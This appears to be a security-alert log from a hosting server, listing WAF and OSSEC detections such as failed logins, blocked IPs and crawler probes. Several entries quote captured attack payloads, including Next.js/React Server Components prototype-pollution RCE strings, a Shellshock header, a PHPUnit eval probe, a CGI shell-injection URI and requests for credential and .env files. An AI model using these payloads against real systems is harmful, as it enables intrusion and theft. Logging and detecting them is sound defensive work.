# incident

plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.102.66
country_id: 2363686
description:
[2026-06-11 20:52:12 +0000] info [webmaild] 196.170.102.66 - kafagbedji@togointerim.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.54.251
country_id: 6252001
description:
Jun 11 20:52:40 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.54.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 20:52:24 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.152.239
country_id: 6252001
description:
2026-06-11 20:53:11 dovecot_login authenticator failed for H=(inger.tg) [104.28.152.239]:50457: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77093094
abuser: 34.42.241.157
country_id: 6252001
domain: www.tdn.tg
name:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)

description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=(function(){var _r=typeof require!=='undefined'?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!=='undefined'?globalThis.require:null));return 128 993 391 481 10000;})();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`NEXT_REDIRECT;push;/x?d=${encodeURIComponent(String(res))};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.201.125.251
country_id: 1814991
description:
2026-06-11 20:55:24 dovecot_plain authenticator failed for H=(10lswcffocz36wpf5z0wtk9lslfi1bix) [111.201.125.251]:51936: 535 Incorrect authentication data (set_id=mointie.konlambigue@emt.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.132
country_id: 1880251
description:
47.128.96.132 - - [11/Jun/2026:20:59:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7106147&pdata=https%253A%252F%252Ftdn.tg%252Fmercato-thiago-sylva-a-chelsea-pour-une-nouvelle-aventure%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781211541 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/mercato-thiago-sylva-a-chelsea-pour-une-nouvelle-aventure/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.132


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.134.3.44
country_id: 1168579
domain: www.letabloid.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.letabloid.tghttp/www.letabloid.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.204
country_id: 6252001
description:
Jun 11 20:59:37 ns5 pure-ftpd[974892]: (?@147.185.132.204) [INFO] New connection from 147.185.132.204


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.200
country_id: 1880251
description:
47.128.96.200 - - [11/Jun/2026:20:59:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13133202&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Femmanuella%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781211584 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/emmanuella/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.200


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.134.3.44
country_id: 1168579
domain: www.letabloid.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.letabloid.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 21:00:03 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 44.209.117.207
country_id: 6252001
domain: cafe.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.168 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 3.21.247.58
country_id: 6252001
description:
[2026-06-11 21:02:16 +0000] info [cpaneld] 3.21.247.58 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.123
country_id: 3469034
description:
Jun 11 21:01:46 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.123 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 3.21.247.58
country_id: 6252001
description:
3.21.247.58 - - [11/Jun/2026:21:02:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6713244&pdata=https%253A%252F%252Flacs1.mairie.tg%253A2083%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781211725 HTTP/2.0" 302 0 lacs1.mairie.tg "https://lacs1.mairie.tg:2083/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:3.21.247.58


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 163.198.110.9
country_id: 953987
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-02.163.198.110.9||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 163.198.111.135
country_id: 953987
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-03.163.198.111.135||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 21:03:29 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 163.198.109.56
country_id: 953987
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:163.198.109.56||TA:163.198.109.56||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 197.218.118.119
country_id: 1036973
domain: arse.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:46337.arse.tg||ServerName:arse.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2628e771b5a20b870ee89b81504f2b4c45256f9b||Title:0x65dc4b32||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77221260
abuser: 161.97.69.226
country_id: 3017382
domain: 154.70.82.249:80
name:
IM360 WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187 CVE-2014-7186 CVE-2014-7169 CVE-2014-6278 CVE-2014-6277 CVE-2014-6271)

description:
IM360 WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187 CVE-2014-7186 CVE-2014-7169 CVE-2014-6278 CVE-2014-6277 CVE-2014-6271)||MVN:REQUEST_HEADERS:Referer||MV:() { :; }; echo SSK23102||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77140967
name: IM360 WAF: PrestaShop PHPUnit Arbitrary Code Execution vulnerability (CVE-2017-9841)
abuser: 161.97.69.226
country_id: 3017382
domain: 154.70.82.249:80
description:
IM360 WAF: PrestaShop PHPUnit Arbitrary Code Execution vulnerability (CVE-2017-9841)||MVN:REQUEST_BODY||RSV:8.15||T:APACHE||MV:<?php echo 'PHU19501'; ?>||


plugin: modsec
rule: 77140834
name: IM360 WAF: RCE vulnerability in vBulletin v5.x (CVE-2019-16759)
abuser: 161.97.69.226
country_id: 3017382
domain: 154.70.82.249:80
description:
IM360 WAF: RCE vulnerability in vBulletin v5.x (CVE-2019-16759)||Code:ajax/render/widget_php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.1
country_id: 6252001
description:
205.169.39.1 - - [11/Jun/2026:21:06:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6907503&pdata=http%253A%252F%252Fwww.web.dankpen1.mairie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781211959 HTTP/1.1" 302 0 www.web.dankpen1.mairie.tg "http://www.web.dankpen1.mairie.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.1


plugin: modsec
rule: 77142266
name: IM360 WAF: Special shell symbol in request
abuser: 161.97.69.226
country_id: 3017382
domain: 154.70.82.249:80
description:
IM360 WAF: Special shell symbol in request||RSV:8.15||T:APACHE||MVN:REQUEST_URI||MV:/cgi-bin/;echo${IFS}NETGEAR_FP||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.54.251
country_id: 6252001
description:
Jun 11 21:06:45 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.54.251 has been locked due to Imunify RBL


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.60.31
country_id: 1880251
domain: 127.0.0.1
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-11 21:08:21 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:38274: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.64.167.84
country_id: 2363686
description:
102.64.167.84 - - [11/Jun/2026:21:08:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6644629&pdata=https%253A%252F%252Fmisstogo.tg%252Fanciennes-miss%252F%253Futm_source%253Dchatgpt.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781212110 HTTP/2.0" 302 0 misstogo.tg "https://misstogo.tg/anciennes-miss/?utm_source=chatgpt.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 Edg/149.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.167.84


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.106
country_id: 1269750
description:
Jun 11 21:09:54 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-06-11 21:10:33 dovecot_plain authenticator failed for H=(unifiligen) [117.4.81.106]:57137: 535 Incorrect authentication data (set_id=admin@sodigaz.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 21:11:22 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 100.54.40.150
country_id: 6252001
description:
100.54.40.150 - - [11/Jun/2026:21:14:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856453&pdata=https%253A%252F%252Fns5.netmaster.tg%253A2083%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781212492 HTTP/2.0" 302 0 ns5.netmaster.tg "https://ns5.netmaster.tg:2083/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:100.54.40.150


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 100.54.40.150
country_id: 6252001
description:
[2026-06-11 21:14:59 +0000] info [cpaneld] 100.54.40.150 - ecritoir "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ecritoir (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 21:14:22 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 44.209.117.207
country_id: 6252001
domain: www.ciieeinternational.org.lct-togo.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.156
country_id: 2542007
description:
2026-06-11 21:17:02 dovecot_login authenticator failed for H=(35MPz8GUS) [154.144.243.156]:40612: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [11/Jun/2026:21:17:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328470&pdata=http%253A%252F%252Fxl6zcp.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781212629 HTTP/1.1" 302 0 xl6zcp.mediatopnews.tg "http://xl6zcp.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.155.0.114
country_id: 3017382
domain: api.lacs1.mairie.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.config/gcloud/credentials.db||User:nwvfmxat||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.116.99.111
country_id: 3469034
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/wp-content/uploads/2024/05/Arr.-inter.recrut.-P_ENFPE.pdf HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 186.39.60.5
country_id: 3865483
description:
186.39.60.5 - - [11/Jun/2026:21:20:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7050600&pdata=https%253A%252F%252Fconseilnsaftogo.org&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781212799 HTTP/2.0" 302 0 conseilnsaftogo.org "https://conseilnsaftogo.org/" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:186.39.60.5


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 21:20:28 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.54.251
country_id: 6252001
description:
Jun 11 21:20:51 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.54.251 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.112.26
country_id: 2363686
description:
[2026-06-11 21:22:34 +0000] info [webmaild] 196.170.112.26 - kafagbedji@togointerim.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 21:23:14 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 21:23:22 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.131.165.56
country_id: 357994
description:
[2026-06-11 21:24:34 +0000] info [webmaild] 196.131.165.56 - ptitrikou@mesyscom.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.125
country_id: 1880251
description:
47.128.96.125 - - [11/Jun/2026:21:27:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051160&pdata=https%253A%252F%252Ftdn.tg%252Fwp-content%252Fuploads%252F2021%252F07%252FCENTRALE_RESULTATS_BEPC_2021.pdf&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781213227 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/wp-content/uploads/2021/07/CENTRALE_RESULTATS_BEPC_2021.pdf" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.125


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [11/Jun/2026:21:27:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7300714&pdata=http%253A%252F%252Ftxohul.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781213256 HTTP/1.1" 302 0 txohul.mediatopnews.tg "http://txohul.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 32.196.198.163
country_id: 6252001
domain: www.cinema.free.netmaster.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/132.0.0.0 Safari/537.36||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 34.125.31.131
country_id: 6252001
domain: lasnb.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:grub-client-1.5.3; (grub-client-1.5.3; Crawl your own stuff with http://grub.org)||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 34.125.31.131
country_id: 6252001
domain: lasnb.com
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.15||T:APACHE||MV:.env~||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.125.31.131
country_id: 6252001
domain: lasnb.com
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.production.bak||User:bighostingsnbd||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 21:33:38 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 93.99.104.18
country_id: 3077311
description:
93.99.104.18 - - [11/Jun/2026:21:35:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10198891&pdata=http%253A%252F%252Fcaissederetraites.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781213739 HTTP/1.1" 302 0 caissederetraites.tg "http://caissederetraites.tg/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.99.104.18


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 21:39:30 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.153
country_id: 1880251
description:
47.128.96.153 - - [11/Jun/2026:21:40:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10119013&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdimas-dzikodo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781214000 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/dimas-dzikodo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.153


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [11/Jun/2026:21:41:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6646626&pdata=http%253A%252F%252Fujjhos.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781214069 HTTP/1.1" 302 0 ujjhos.mediatopnews.tg "http://ujjhos.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [11/Jun/2026:21:41:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7194518&pdata=http%253A%252F%252Fujjhos.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781214075 HTTP/1.1" 302 0 ujjhos.mediatopnews.tg "http://ujjhos.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [11/Jun/2026:21:41:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001608&pdata=http%253A%252F%252Fujjhos.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781214085 HTTP/1.1" 302 0 ujjhos.mediatopnews.tg "http://ujjhos.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [11/Jun/2026:21:41:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12950932&pdata=http%253A%252F%252Fujjhos.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781214080 HTTP/1.1" 302 0 ujjhos.mediatopnews.tg "http://ujjhos.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 11 21:43:09 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 11 21:43:40 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 34.133.158.159
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Possible SQLi in arguments||MVN:REQUEST_HEADERS:sec-ch-ua||MV:\" not a;brand\";v=\"99\", \"chromium\";v=\"149\", \"google chrome\";v=\"149\"||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.148.74
country_id: 2363686
domain: launetogo.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: www.test2.haplucia-togo.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"x_6b6ed10b\":\"default\",\"status\":\"resolved_model\",\"_response\":{\"_prefix\":\"var ns=arguments[0x1];var daco=ns;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.247.64.241
country_id: 3017382
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:POST http:/togodailynews.tg:80/wp-admin/admin-ajax.php HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.134.221
country_id: 2589581
domain: togodailynews.tg:80
description:
